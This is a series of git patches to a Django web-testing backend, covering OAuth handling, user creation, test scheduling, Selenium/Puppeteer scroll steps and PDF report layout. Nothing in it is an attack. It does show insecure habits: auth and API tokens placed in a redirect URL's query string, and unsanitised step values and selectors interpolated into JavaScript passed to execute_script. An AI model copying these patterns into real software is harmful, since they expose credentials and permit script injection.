+    code = request.GET.get('code')
+    error = request.GET.get('error')
 
     # build login url
     login_url = f'{settings.CLIENT_URL_ROOT}/login'
@@ -487,7 +487,7 @@ def slack_oauth_middleware(request: object) -> object:
     """
 
     # get request data
-    code = request.params.get('code')
+    code = request.GET.get('code')
 
     # get account
     account = Account.objects.get(user=request.user)

From 79423f47ee2ccf1bd1a1ddddea2dd608cfe232c4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 16:33:52 -0600
Subject: [PATCH 560/752] added create user

---
 app/api/v1/auth/services.py | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index ec31ecc0..41c783a8 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -341,6 +341,13 @@ def get_or_create_user(email: str,  **extra_fields) -> object:
     if extra_fields.get('last_name') is not None:
         extras['last_name'] = extra_fields.get('last_name')
 
+    # create the user
+    user = User.objects.create(
+        username=email, 
+        email=email, 
+        **extra_fields
+    )
+
     # creating API token
     Token.objects.create(user=user)
 

From d6aba88d64341f029c779986e089ec505bd2e0c0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 16:48:41 -0600
Subject: [PATCH 561/752] fixing google auth

---
 app/api/v1/auth/services.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 41c783a8..008215c5 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -291,13 +291,13 @@ def jwt_login(*, user: object) -> str:
     api_token = Token.objects.get(user=user)
         
     # setting user active
-    is_active = str(user.is_active).lower
+    is_active = str(user.is_active).lower()
 
     # building params for redirect
     param_string = str(
-        '?access='+access+'&refresh='+refresh+
-        '&username='+user.username+'&id='+str(user.id)+
-        '&email='+user.email+'&is_active='+is_active+
+        '?access='+str(access)+'&refresh='+str(refresh)+
+        '&username='+str(user.username)+'&id='+str(user.id)+
+        '&email='+str(user.email)+'&is_active='+str(is_active)+
         '&created='+str(user.date_joined)+'&updated='+str(user.last_login)+
         '&api_token='+str(api_token.key)
     )

From a9433e1a438804b91eaa2ad6d931ff42853e333f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 17:26:07 -0600
Subject: [PATCH 562/752] debugging bulk test creation

---
 app/api/v1/ops/services.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 46023680..44a604fe 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1951,7 +1951,9 @@ def create_many_tests(request: object) -> object:
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
+                    print(res['message'])
             except Exception as e:
+                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
@@ -1976,7 +1978,9 @@ def create_many_tests(request: object) -> object:
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
+                    print(res['message'])
             except Exception as e:
+                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))

From ab10935f3d1ddc3c187affd80ce26de0a21f3a7a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 17:29:16 -0600
Subject: [PATCH 563/752] fixed bulk test creation

---
 app/api/v1/ops/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 44a604fe..d6dc3fed 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1937,7 +1937,7 @@ def create_many_tests(request: object) -> object:
             data = {
                 'site_id': str(id), 
                 'configs': configs,
-                'type': type,
+                'type': types,
                 'tags': tags,
                 'user_id': str(user.id)
             }
@@ -1964,7 +1964,7 @@ def create_many_tests(request: object) -> object:
             data = {
                 'page_id': str(id), 
                 'configs': configs,
-                'type': type,
+                'type': types,
                 'tags': tags,
                 'user_id': str(user.id)
             }

From 7768441721dee7c36701d551052d96bbd0f5c0ad Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 20:25:35 -0600
Subject: [PATCH 564/752] fixed ref error in schedule creation

---
 app/api/v1/ops/services.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index d6dc3fed..f7f234de 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2311,7 +2311,7 @@ def create_or_update_schedule(request: object) -> object:
     account = Member.objects.get(user=user).account
     
     # deciding on action type
-    action = 'add' if schedule_id else None
+    action = 'add' if not schedule_id else None
 
     # checking account and resource 
     check_data = check_account_and_resource(
@@ -2324,6 +2324,7 @@ def create_or_update_schedule(request: object) -> object:
         return Response(data, status=check_data['status'])
 
     # get schedule if checks passed and id is present
+    schedule = None
     if schedule_id:
         schedule = Schedule.objects.get(id=schedule_id)
     

From 7f3947441e088089652e478aa72a2a774863af4f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 21:28:43 -0600
Subject: [PATCH 565/752] testing new datetime formatter

---
 app/api/v1/ops/services.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f7f234de..9d909fc7 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2375,7 +2375,8 @@ def create_or_update_schedule(request: object) -> object:
         
         # parsing begin date
         if begin_date_raw:
-            begin_date = datetime.strptime(begin_date_raw, '%m/%d/%Y')
+            # begin_date = datetime.strptime(begin_date_raw, '%Y-%m-%d %H:%M:%S.%f') 
+            begin_date = datetime.fromisoformat(begin_date_raw[:-1] + '+00:00')
 
         # building cron expression time & date
         num_day_of_week = begin_date.weekday()

From 490f0e507845acc3e05fcffba9ed9b922cb93de5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 21:46:11 -0600
Subject: [PATCH 566/752] added site and page scope

---
 app/api/v1/ops/services.py | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9d909fc7..a03189f5 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2309,6 +2309,11 @@ def create_or_update_schedule(request: object) -> object:
     # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
+
+    # setting defaults
+    schedule = None
+    site = None
+    page = None
     
     # deciding on action type
     action = 'add' if not schedule_id else None
@@ -2324,15 +2329,16 @@ def create_or_update_schedule(request: object) -> object:
         return Response(data, status=check_data['status'])
 
     # get schedule if checks passed and id is present
-    schedule = None
     if schedule_id:
         schedule = Schedule.objects.get(id=schedule_id)
     
     # converting to str for **kwargs
     if site_id is not None:
         site_id = str(site_id)
+        site = Site.objects.get(id=site_id)
     if page_id is not None:
         page_id = str(page_id)
+        page = Page.objects.get(id=page_id)
 
     # toggling schedule status
     if schedule_status != None and schedule != None:

From be9d40d9393eb211ef935b90eec5d0712d5e5063 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 21:52:57 -0600
Subject: [PATCH 567/752] fixing chrontab issue

---
 app/api/v1/ops/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index a03189f5..f0184960 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2476,8 +2476,8 @@ def create_or_update_schedule(request: object) -> object:
                 schedule.frequency = freq
             if task:
                 schedule.task = task
-            if chrontab_id:
-                schedule.chrontab_id = chrontab_id
+            if chrontab:
+                schedule.chrontab_id = chrontab.id
             if task_type:
                 schedule.task_type = task_type
             if extras:

From 346ce8affd587c75cf3a4d57db361b300ad906c1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 29 May 2024 10:22:38 -0600
Subject: [PATCH 568/752] fixed typo

---
 app/api/v1/ops/services.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f0184960..c4cc4c14 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2412,7 +2412,7 @@ def create_or_update_schedule(request: object) -> object:
         # building unique task name
         task_name = f'{task_type}_{level}_{url}_{freq}_@{time}_{account.user.id}'
 
-        # building or updating chrontab 
+        # building or updating crontab 
         crontab, _ = CrontabSchedule.objects.get_or_create(
             timezone=timezone, 
             minute=minute, 
@@ -2476,8 +2476,8 @@ def create_or_update_schedule(request: object) -> object:
                 schedule.frequency = freq
             if task:
                 schedule.task = task
-            if chrontab:
-                schedule.chrontab_id = chrontab.id
+            if crontab:
+                schedule.crontab_id = crontab.id
             if task_type:
                 schedule.task_type = task_type
             if extras:

From bcea578e3fe54a7702a03ad0785aa8da0496aaaf Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 29 May 2024 10:42:20 -0600
Subject: [PATCH 569/752] fixed default ordering of get_scans

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index c4cc4c14..dd559070 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1464,7 +1464,7 @@ def get_scans(request: object) -> object:
 
     # get page scoped scans
     page = Page.objects.get(id=page_id)
-    scans = Scan.objects.filter(page=page)
+    scans = Scan.objects.filter(page=page).order_by('-time_created')
         
     # serialize and return
     paginator = LimitOffsetPagination()

From 58d368a498a18a8e6ac2428991a0d269363c6907 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 May 2024 11:16:23 -0600
Subject: [PATCH 570/752] fixing case update or create issue

---
 app/api/v1/ops/services.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index dd559070..376578cb 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -3248,6 +3248,7 @@ def create_or_update_case(request: object) -> object:
 
     # setting defaults
     site = None
+    case = None
 
     # checking account and resource 
     check_data = check_account_and_resource(

From f9ef3e691e70bc0683599f066adfbf266e4ca97e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 May 2024 12:54:43 -0600
Subject: [PATCH 571/752] added new scrolling to selenium caser

---
 app/api/utils/caser.py | 40 +++++++++++++++++++++++++++++++++-------
 1 file changed, 33 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index c7de3b42..c8dd9b53 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -312,9 +312,13 @@ def run_s(self) -> None:
                     print(f'clicking element -> {step["action"]["element"]}')
                     # using selenium, find and click on the 'element' 
                     selector = self.format_element_s(step["action"]["element"])
+                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
                                     
                     # scrolling to element using plain JavaScript
-                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    driver.execute_script("arguments[0].scrollIntoView();", element)
+                    driver.execute_script("window.scrollBy(0, -100);")
+
+                    # clicking element
                     element.click()
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
@@ -342,10 +346,14 @@ def run_s(self) -> None:
                 
                 try:
                     print(f'changing element to value -> {step["action"]["value"]}') 
-                    # using selenium, find and click on the 'element'
+                    # using selenium, find and change the 'element'.value
                     selector = self.format_element_s(step["action"]["element"])
-                                    
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+                    # scrolling to element and back down a bit
+                    driver.execute_script("arguments[0].scrollIntoView();", element)
+                    driver.execute_script("window.scrollBy(0, -100);")
+
                     # changing value of element
                     value = step["action"]["value"]
                     element.send_keys(value)
@@ -384,9 +392,16 @@ def run_s(self) -> None:
                             break
                         n -= 1
                     selector = self.format_element_s(elm)
-                                    
-                    # using selenium, press the selected key
+                                
+                    # using selenium, find elemenmtn and send 'Key' event
+                    selector = self.format_element_s(step["action"]["element"])
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+                    # scrolling to element and back down a bit
+                    driver.execute_script("arguments[0].scrollIntoView();", element)
+                    driver.execute_script("window.scrollBy(0, -100);")
+
+                    # using selenium, press the selected key
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
@@ -416,13 +431,19 @@ def run_s(self) -> None:
                     print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
                     # using selenium, find elememt and assert if element.text == assertion.text
                     selector = self.format_element_s(step["action"]["element"])
-                    
-                    # scrolling to element using plain JavaScript
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+                    # scrolling to element and back down a bit
+                    driver.execute_script("arguments[0].scrollIntoView();", element)
+                    driver.execute_script("window.scrollBy(0, -100);")
+
+                    # gettintg elem text
                     elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')
                     elementText = elementText.strip()
                     print(f'elementText => {elementText}')
                     print(f'value => {step["assertion"]["value"]}')
+
+                    # assert text
                     assert elementText == step["assertion"]["value"]
                     image = self.save_screenshot_s()
 
@@ -451,6 +472,11 @@ def run_s(self) -> None:
                     print(f'asserting that element -> {step["assertion"]["element"]} exists')
                     # using puppeteer, find elememt and assert it exists
                     selector = self.format_element_s(step["action"]["element"])
+                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+                    # scrolling to element and back down a bit
+                    driver.execute_script("arguments[0].scrollIntoView();", element)
+                    driver.execute_script("window.scrollBy(0, -100);")
                     
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')

From dcc21c988b2a64e5fe8e67572a16379a10a3db5e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 May 2024 13:40:19 -0600
Subject: [PATCH 572/752] fixed driver issues

---
 app/api/utils/caser.py | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index c8dd9b53..90860c64 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -315,8 +315,8 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
                                     
                     # scrolling to element using plain JavaScript
-                    driver.execute_script("arguments[0].scrollIntoView();", element)
-                    driver.execute_script("window.scrollBy(0, -100);")
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
 
                     # clicking element
                     element.click()
@@ -351,8 +351,8 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
-                    driver.execute_script("arguments[0].scrollIntoView();", element)
-                    driver.execute_script("window.scrollBy(0, -100);")
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
 
                     # changing value of element
                     value = step["action"]["value"]
@@ -398,8 +398,8 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
-                    driver.execute_script("arguments[0].scrollIntoView();", element)
-                    driver.execute_script("window.scrollBy(0, -100);")
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
 
                     # using selenium, press the selected key
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
@@ -434,8 +434,8 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
-                    driver.execute_script("arguments[0].scrollIntoView();", element)
-                    driver.execute_script("window.scrollBy(0, -100);")
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
 
                     # gettintg elem text
                     elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')
@@ -475,8 +475,8 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
-                    driver.execute_script("arguments[0].scrollIntoView();", element)
-                    driver.execute_script("window.scrollBy(0, -100);")
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
                     
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')

From ef19fb5495391027d179a12e16c6cf0ebc353856 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 May 2024 13:46:55 -0600
Subject: [PATCH 573/752] removed task retry testcases

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 8609934f..615b177f 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -981,7 +981,7 @@ def create_auto_cases_bg(
 
 
 
-@shared_task(bind=True, base=BaseTaskWithRetry)
+@shared_task
 def create_testcase_bg(
         self, 
         testcase_id: str=None, 

From 8c52be6a0ccabf5ea908914a4aa4fa154bb29d14 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 May 2024 14:00:14 -0600
Subject: [PATCH 574/752] testing wait after scroll

---
 app/api/utils/caser.py | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 90860c64..f53abc59 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -279,8 +279,8 @@ def run_s(self) -> None:
                     # using selenium, navigate to requested path & wait for page to load
                     driver_wait(
                         driver=self.driver, 
-                        interval=int(self.configs.get('interval', 5)),  
-                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                        interval=int(self.configs.get('interval', 1)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 3)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
                     )
                     self.driver.get(f'{self.site_url}{step["action"]["path"]}')
@@ -317,6 +317,7 @@ def run_s(self) -> None:
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # clicking element
                     element.click()
@@ -353,6 +354,7 @@ def run_s(self) -> None:
                     # scrolling to element and back down a bit
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # changing value of element
                     value = step["action"]["value"]
@@ -400,6 +402,7 @@ def run_s(self) -> None:
                     # scrolling to element and back down a bit
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # using selenium, press the selected key
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
@@ -436,6 +439,7 @@ def run_s(self) -> None:
                     # scrolling to element and back down a bit
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # gettintg elem text
                     elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')

From f5c4050fca290e9b5e38b292cb463e0eaa01f90f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 May 2024 14:15:31 -0600
Subject: [PATCH 575/752] removed self ref

---
 app/api/tasks.py | 1 -
 1 file changed, 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 615b177f..a7358a17 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -983,7 +983,6 @@ def create_auto_cases_bg(
 
 @shared_task
 def create_testcase_bg(
-        self, 
         testcase_id: str=None, 
         site_id: str=None, 
         case_id: str=None, 

From 0c76f63636c4e9bca7330d4c5b2cb5a1c8c510a0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 May 2024 14:23:20 -0600
Subject: [PATCH 576/752] testing new scroll method

---
 app/api/utils/caser.py | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index f53abc59..5112012c 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -315,6 +315,7 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
                                     
                     # scrolling to element using plain JavaScript
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
@@ -352,6 +353,7 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
@@ -400,6 +402,7 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
@@ -437,6 +440,7 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
@@ -479,6 +483,7 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
                     
@@ -493,7 +498,7 @@ def run_s(self) -> None:
                     passed = False
 
                 self.update_testcase_s(
-                    index=i, type='action', 
+                    index=i, type='assertion', 
                     end_time=datetime.now(), 
                     passed=passed, 
                     exception=exception,

From 88ffeea0102365758e698e7cec47b8c13e0876a1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 1 Jun 2024 14:56:20 -0600
Subject: [PATCH 577/752] added scroll to cases

---
 app/api/utils/caser.py | 66 +++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 65 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 5112012c..8a94f80f 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -299,6 +299,39 @@ def run_s(self) -> None:
                     exception=exception,
                     image=image
                 )
+
+            
+            if step['action']['type'] == 'scroll':
+                exception = None
+                passed = True
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    start_time=datetime.now()
+                )
+
+                try:
+                    print(f'scrolling -> {step["action"]["value"]}')
+                                    
+                    # scrolling using plain JavaScript
+                    self.driver.execute_script(f'window.scrollTo(${step["action"]["value"]});')
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                    # get image
+                    image = self.save_screenshot_s()
+                
+                except Exception as e:
+                    image = self.save_screenshot_s()
+                    exception = e
+                    passed = False
+
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                )
+        
             
             if step['action']['type'] == 'click':
                 exception = None
@@ -608,7 +641,38 @@ async def run_p(self) -> None:
                     exception=exception,
                     image=image
                 )
-                    
+
+            if step['action']['type'] == 'scroll':
+                exception = None
+                passed = True
+                await self.update_testcase(
+                    index=i, type='action', 
+                    start_time=datetime.now()
+                )
+
+                try:
+                    print(f'scrolling -> {step["action"]["value"]}')
+              
+                    # scrolling using plain JavaScript
+                    await self.page.evaluate(f'window.scrollTo(${step["action"]["value"]});')
+                    time.sleep(int(self.configs['min_wait_time']))
+
+                    # get image
+                    image = await self.save_screenshot(page=self.page)
+                
+                except Exception as e:
+                    image = await self.save_screenshot(page=self.page)
+                    exception = e
+                    passed = False
+
+                await self.update_testcase(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                ) 
+               
             if step['action']['type'] == 'click':
                 exception = None
                 passed = True

From db9fa80d739245952eb808aa6bbd7450369b04f9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 3 Jun 2024 09:28:35 -0600
Subject: [PATCH 578/752] fixed minor JS bug

---
 app/api/utils/caser.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 8a94f80f..7bd5576c 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -313,7 +313,7 @@ def run_s(self) -> None:
                     print(f'scrolling -> {step["action"]["value"]}')
                                     
                     # scrolling using plain JavaScript
-                    self.driver.execute_script(f'window.scrollTo(${step["action"]["value"]});')
+                    self.driver.execute_script(f'window.scrollTo({step["action"]["value"]});')
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # get image
@@ -654,7 +654,7 @@ async def run_p(self) -> None:
                     print(f'scrolling -> {step["action"]["value"]}')
               
                     # scrolling using plain JavaScript
-                    await self.page.evaluate(f'window.scrollTo(${step["action"]["value"]});')
+                    await self.page.evaluate(f'window.scrollTo({step["action"]["value"]});')
                     time.sleep(int(self.configs['min_wait_time']))
 
                     # get image

From 36ed22d3e3747e94b97e4cd8bf155ab4ddc4c445 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 10:19:04 -0600
Subject: [PATCH 579/752] testing new report title calc

---
 app/api/utils/reporter.py | 31 ++++++++++++++++++++-----------
 1 file changed, 20 insertions(+), 11 deletions(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index e92ff8bd..3e69cae6 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -192,17 +192,26 @@ def cover_page(self) -> None:
         self.c.setFont('Helvetica-Bold', 45)
         self.c.setFillColor(HexColor(self.text_color))
         self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
-        if len(self.page.page_url) <= 12:
-            self.c.setFont('Helvetica-Bold', 30)
-            self.c.drawString(.5*inch, 9*inch, self.page.page_url)
-        elif 12 < len(self.page.page_url):
-            extra_chars = len(self.page.page_url) - 12
-            m = (2/5)
-            y_offset = .5
-            length = int(20 + (extra_chars * m))
-            self.c.setFont('Helvetica-Bold', int(45 - (extra_chars * m)))
-            self.c.setFillColor(HexColor(self.text_color))
-            self.draw_wrapped_line(text=self.page.page_url, length=length, x_pos=.5, y_pos=9, y_offset=y_offset)
+        
+        # page url
+        font_size = max((30 * (26/len(self.page.page_url))), 16)
+        self.c.setFont('Helvetica-Bold', 30)
+        self.draw_wrapped_line(text=self.page.page_url, length=28, x_pos=.5, y_pos=9, y_offset=.5)
+        # self.c.drawString(.5*inch, 9*inch, self.page.page_url)
+
+        # if len(self.page.page_url) <= 12:
+        #     self.c.setFont('Helvetica-Bold', 30)
+        #     self.c.drawString(.5*inch, 9*inch, self.page.page_url)
+        
+        # elif 12 < len(self.page.page_url):
+        #     extra_chars = len(self.page.page_url) - 12
+        #     m = (2/5)
+        #     y_offset = .5
+        #     length = int(20 + (extra_chars * m))
+        #     self.c.setFont('Helvetica-Bold', int(45 - (extra_chars * m)))
+        #     self.c.setFillColor(HexColor(self.text_color))
+        #     self.draw_wrapped_line(text=self.page.page_url, length=length, x_pos=.5, y_pos=9, y_offset=y_offset)
+        
         # cover img
         cover_img = os.path.join(settings.BASE_DIR, "api/utils/report_assets/cover_img.png")
         self.c.drawImage(cover_img, 1*inch, 2*inch, 6.04*inch, 4.68*inch, mask='auto')

From 301b8822a6abfbbf53430e35507c8d19e8b96a72 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 10:27:01 -0600
Subject: [PATCH 580/752] testing report title calc

---
 app/api/utils/reporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 3e69cae6..369485d7 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -194,7 +194,7 @@ def cover_page(self) -> None:
         self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
         
         # page url
-        font_size = max((30 * (26/len(self.page.page_url))), 16)
+        font_size = max((30 * (19/len(self.page.page_url))), 16)
         self.c.setFont('Helvetica-Bold', 30)
